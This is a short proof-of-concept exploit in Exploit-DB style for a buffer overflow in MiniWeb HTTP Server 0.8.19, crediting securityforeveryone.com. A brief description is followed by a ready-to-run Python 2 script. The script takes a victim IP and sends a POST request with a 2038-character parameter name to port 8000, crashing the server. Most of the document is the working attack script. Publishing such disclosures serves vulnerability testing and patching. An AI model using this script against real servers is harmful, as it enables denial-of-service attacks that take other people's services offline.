MiniWeb HTTP Server 0.8.19 - Buffer Overflow (PoC)

# Exploit Title: MiniWeb HTTP Server 0.8.19 - Buffer Overflow (PoC)
# Date: 13.12.2020
# Exploit Author: securityforeveryone.com
# Author Mail: hello[AT]securityforeveryone.com
# Vendor Homepage: https://sourceforge.net/projects/miniweb/
# Software Link: https://sourceforge.net/projects/miniweb/files/miniweb/0.8/miniweb-win32-20130309.zip/download
# Version: 0.8.19
# Tested on: Win7 x86
# Researchers: Security For Everyone Team - https://securityforeveryone.com

'''
Description

 MiniWeb HTTP server 0.8.19 allows remote attackers to cause a denial of service (daemon crash) via a long name for the
 first parameter in a POST request.

Exploitation

 The vulnerability is the first parameter's name of the POST request. Example: PARAM_NAME1=param_data1&param_name2=param_data2
 if we send a lot of "A" characters to "PARAM_NAME1", the miniweb server will crash.

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In 2020, we created securityforeveyone.com where everyone can test their website security and get help to fix their vulnerabilities.
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'''

#!/usr/bin/python

import socket
import sys
import struct

if len(sys.argv) != 2 :
	print "[+] Usage : python exploit.py [VICTIM_IP]"
	exit(0)

TCP_IP = sys.argv[1]
TCP_PORT = 8000

xx = "A"*2038 #4085

http_req = "POST /index.html HTTP/1.1\r\n"
http_req += "Host: 192.168.231.140\r\n"
http_req += "From: header-data\r\n"
http_req += "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
http_req += xx + "=param_data1&param_name2=param_data2"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
print "[+] Sending exploit payload..."
s.send(http_req)
s.close()